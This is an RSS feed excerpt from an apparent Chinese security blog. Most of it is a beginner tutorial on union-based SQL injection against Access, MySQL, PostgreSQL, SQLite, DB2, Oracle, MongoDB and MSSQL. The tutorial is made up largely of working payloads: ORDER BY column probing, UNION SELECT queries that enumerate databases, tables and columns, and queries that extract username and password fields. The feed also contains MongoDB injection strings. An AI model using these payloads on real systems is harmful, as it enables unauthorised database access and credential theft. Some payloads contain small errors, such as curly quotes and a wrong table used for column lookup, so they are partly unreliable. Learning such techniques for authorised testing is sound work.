<p>例如，某些网站会验证用户的IP地址来判断是否放行；在日志记录时会在数据库中记录HTTP头信息，因此可能存在注入点。如<a href="https://www.cnblogs.com/lushaoyan/p/11088213.html" target="_blank">PHP正确获取客户端IP地址</a>。</p>
<p>以下三个参数可能存在注入点：</p>
<blockquote>
<p>HTTP_CLIENT_IP：存在于http请求的header
HTTP_X_FORWARDED_FOR：请求转发路径，客户端IP，代理1IP，代理2IP&hellip;&hellip;
HTTP_X_REAL_IP：这个用得比较少，暂不讨论。
<strong>这三个值都是从HTTP请求头获取的，所以并不可靠！</strong></p>
</blockquote>
<h3 id="根据功能区分注入类型">根据功能区分注入类型</h3>
<p>例如，搜索sql如下：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">select</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">from</span> zzz_user <span style="color:#66d9ef">where</span> name <span style="color:#66d9ef">like</span> <span style="color:#e6db74">&#39;%$name%&#39;</span>
</span></span></code></pre></div><p>字符串相关的sql判断语句会包含引号等等。</p>
<p>⚠️注意数字、字母、JSON类型字符串。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——01、几种常见的注入形式</title>
      <link>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-01-%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/</link>
      <pubDate>Mon, 04 Oct 2021 12:53:14 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-01-%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/</guid>
      <description>常用工具：SQLmap
数据库类型判断 SQL注入语句判断（配合工具） 搭建组合、信息搜集 端口扫描 一、Access注入（较少见，没有数据库名） 猜测有多少列（order by 22）
22正常，23错误 联合注入/暴力注入（union select 1,2,3,4,…,22 from admin） 此处猜测表名为admin，此处暴力破解，配合抓包工具 &amp;gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 &amp;lt;ol start=&amp;quot;2&amp;quot;&amp;gt; &amp;lt;li&amp;gt; 为测试页面回显，依次在1,2,username,password,…,22写上列名&amp;lt;br /&amp;gt; 此处也需要暴力破解列名 &amp;lt;/li&amp;gt; &amp;lt;/ol&amp;gt; 偏移注入：解决表名获取到但列名获取不到的情况
表名获取不到，则必须要字典暴力破解
依次测试下列语句，直到不再报错： union select 1,2,3,4,…,19,20,21,* from admin union select 1,2,3,4,…,19,20,* from admin union select 1,2,3,4,…,19,* from admin union select 1,2,3,4,…,18,* from admin … 假设union select 1,2,3,4,…,16,* from admin正常显示，则admin中列的个数：22-16=6
4. 二级偏移16-6=10/三级偏移10-6=4/…
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.</description>
      <content:encoded><![CDATA[<p>常用工具：SQLmap</p>
<h3 id="数据库类型判断">数据库类型判断</h3>
<ol>
<li>SQL注入语句判断（配合工具）</li>
<li>搭建组合、信息搜集</li>
<li>端口扫描</li>
</ol>
<h2 id="一access注入较少见没有数据库名">一、Access注入（较少见，没有数据库名）</h2>
<ol>
<li>猜测有多少列（order by 22）<br>
22正常，23错误</li>
<li>联合注入/暴力注入（union select 1,2,3,4,…,22 from admin）
<ol>
<li>此处猜测表名为admin，此处暴力破解，配合抓包工具</li>
</ol>
</li>
</ol>
<pre><code>&gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 

&lt;ol start=&quot;2&quot;&gt;
  &lt;li&gt;
    为测试页面回显，依次在1,2,username,password,…,22写上列名&lt;br /&gt; 此处也需要暴力破解列名
  &lt;/li&gt;
&lt;/ol&gt;
</code></pre>
<ol start="3">
<li>偏移注入：解决表名获取到但列名获取不到的情况<br>
表名获取不到，则必须要字典暴力破解<br>
依次测试下列语句，直到不再报错：</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2,3,4,…,19,20,21,* from admin
union select 1,2,3,4,…,19,20,* from admin
union select 1,2,3,4,…,19,* from admin
union select 1,2,3,4,…,18,* from admin
…
</code></pre>
<p>假设<code>union select 1,2,3,4,…,16,* from admin</code>正常显示，则admin中列的个数：22-16=6<br>
4. 二级偏移16-6=10/三级偏移10-6=4/…</p>
<pre><code class="language-sql line-numbers">union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
</code></pre>
<h2 id="二mysql注入">二、MySQL注入</h2>
<h4 id="1-猜测有多少列order-by-4">1. 猜测有多少列（order by 4）</h4>
<h4 id="2-联合注入union-select-1234获取数据库名">2. 联合注入（union select 1,2,3,4）——获取数据库名</h4>
<h5 id="21-测试回显">2.1. 测试回显</h5>
<ul>
<li>此时页面正常，将前面的条件置为假，出现数字（此处假设数字为2）</li>
<li>例如，id=1改为id=-1，或者加上and 1=2</li>
</ul>
<h5 id="22-使用内置函数获取数据库名假设此处为db">2.2. 使用内置函数获取数据库名（假设此处为db）</h5>
<pre><code class="language-sql line-numbers">union select 1,database(),3,4
</code></pre>
<ul>
<li>同时可用<code>version()、user()、@@version_compile_os</code>查询数据库版本、用户、操作系统名</li>
</ul>
<h4 id="3-获取数据面向mysql-50及以上">3. 获取数据（面向MySQL 5.0及以上）</h4>
<ul>
<li>⚠️注意：MySQL 5.0以下注入属于暴力破解，5.0及以上版本为有根据猜解。因为在MySQL 5及以上版本中有information_schema库，它储存了mysql所有数据库名、表名、列名信息。数据库版本可用上一步的 version() 获取。
<ul>
<li>information_schema.tables表下的列table_name 存储表名信息的表</li>
<li>information_schema.columns表下的列column_name 存储列名信息的表</li>
<li>information_schema.schemata表下的列shcema_name 存储数据库名信息的表</li>
</ul>
</li>
</ul>
<h5 id="31-获取表名">3.1. 获取表名</h5>
<pre><code class="language-sql line-numbers">union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’db’
</code></pre>
<ul>
<li>此处db为数据库名，在第二步中已经得到（假设其中有member）
<ul>
<li>table_schema 数据库名</li>
<li>table_name 表名</li>
<li>column_name 列名</li>
</ul>
</li>
</ul>
<h5 id="32-获取列名">3.2. 获取列名</h5>
<pre><code class="language-sql line-numbers">union select 1,group_concat(column_name),3,4 from information_schema.tables where table_name=’member’
</code></pre>
<ul>
<li>假设获取到了name、password等列名</li>
</ul>
<h5 id="33-获取数据">3.3. 获取数据</h5>
<pre><code class="language-sql line-numbers">union select 1,name,password,4 from member
</code></pre>
<h5 id="34-若版本为50以下则尝试配合字典文件读取读取尝试获取">3.4. 若版本为5.0以下，则尝试配合字典/文件读取读取尝试获取</h5>
<h2 id="三postgresql注入">三、PostgreSQL注入</h2>
<ol>
<li>基本思路与MySQL一致，参考：https://www.cnblogs.com/she11s/p/12326629.html</p></li>
<li>猜测有多少列</li>
</ol>
<pre><code class="language-sql line-numbers">order by 4
</code></pre>
<ol start="3">
  <li>
    联合注入
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select null,null,null,null
</code></pre>
<ol start="4">
  <li>
    获取数据库名：
  </li>
</ol>
<pre><code class="language-sql line-numbers">id=-1 union select null,current_database(),null,null
</code></pre>
<ol start="5">
  <li>
    获取表名
  </li>
</ol>
<pre><code class="language-sql line-numbers">id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1
</code></pre>
<ol start="6">
  <li>
    列名
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select null,column_name,null from information_schema.columns where table_name=’表名’
</code></pre>
<h2 id="四sqlite注入">四、SQLite注入</h2>
<ol>
<li>
<p>使用sqlite_master隐藏表，参考：https://www.cnblogs.com/xiaozi/p/5760321.html 中的union select注入，盲注将在以后涉及，这里暂时略过。</p>
</li>
<li>
<p>查询表名和列名</p>
</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,name,sql,4 from sqlite_master
</code></pre>
<h2 id="五db2注入">五、DB2注入</h2>
<ol>
<li>
<p>参考https://www.cnblogs.com/xiaozi/p/5760321.html</p>
</li>
<li>
<p>猜测有多少列（order by 4）</p>
</li>
<li>
<p>获取库名</p>
</li>
</ol>
<pre><code class="language-sql line-numbers">and 1=2 union select 1,2,current schema,4 from sysibm.sysdummy1
</code></pre>
<ol start="4">
  <li>
    表名
  </li>
</ol>
<pre><code class="language-sql line-numbers">and 1=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
</code></pre>
<ol start="5">
  <li>
    列名
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2,column_name,4 from sysibm.columns where …
</code></pre>
<ol start="6">
  <li>
    内置函数 <ul>
      <li>
        sysibm.sysdummy1 数据库名
      </li>
      <li>
        syscat.tables 表名
      </li>
      <li>
        sysibm.columns 列名
      </li>
    </ul>
  </li>
</ol>
<h2 id="六oracle注入">六、Oracle注入</h2>
<ol>
<li>参考https://www.cnblogs.com/peterpan0707007/p/8242119.html</li>
<li>猜测有多少列（order by 4）</li>
<li>判断列类型</li>
</ol>
<pre><code class="language-sql line-numbers">union select null,null,… from dual
</code></pre>
<pre><code>- 判断字符型还是数字型：在第一个null上加上单引号，正常（输出null）说明第一列为字符型，否则（不显示）为数字型。依次判断各列的类型。
</code></pre>
<ol start="4">
<li>确定回显位</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2 from dual
</code></pre>
<ol start="5">
  <li>
    假设返回2，则第一个表
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,(select table_name from user_tables where rownum=1) from dual
</code></pre>
<pre><code>- 第二个表以此类推。
</code></pre>
<ol start="6">
  <li>
    通过模糊like查询获得表名，配合抓包工具（见Access数据库注入）
  </li>
</ol>
<h2 id="七mongodb闭合注入较特殊工具可能不支持">*七、MongoDB闭合注入（较特殊，工具可能不支持）</h2>
<p><img loading="lazy" src="https://www.mozhe.cn/uploads/2018/07/04/1530693387a37838.jpg" alt="MongoDB注入需要获取代码"  />
</p>
<ol>
<li>
<p>首先要获得代码，否则将很难注入。</p>
</li>
<li>
<p>获取回显：’}); return ({title:1,content:’2</p>
<ul>
<li>⚠️这里假如不知道字段名要靠猜，这也是MongoDB注入点少的原因。</li>
</ul>
</li>
<li>
<p>库名</p>
</li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db),content:’2
</code></pre>
<ol start="4">
  <li>
    表名
  </li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db.getCollectionNames()),content:’2
</code></pre>
<ol start="5">
  <li>
    列名、数据
  </li>
</ol>
<pre><code class="language-python line-numbers">'}); return ({title:tojson(db.Authority_confidential.find[0]),content:’2
'}); return ({title:tojson(db.Authority_confidential.find[1]),content:’2
</code></pre>
<h2 id="八mssql和sybase注入">八、MSSQL和Sybase注入</h2>
<ol>
<li>order by 4</li>
<li>回显：</li>
</ol>
<pre><code class="language-sql line-numbers">union all select ‘null’,null,null,null
union all select null,’null’,null,null //显示null说明回显位为2
union all select null,null,’null’,null
union all select null,null,null,’null’
</code></pre>
<ol start="3">
  <li>
    猜列名猜表名基本一致
  </li>
</ol>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
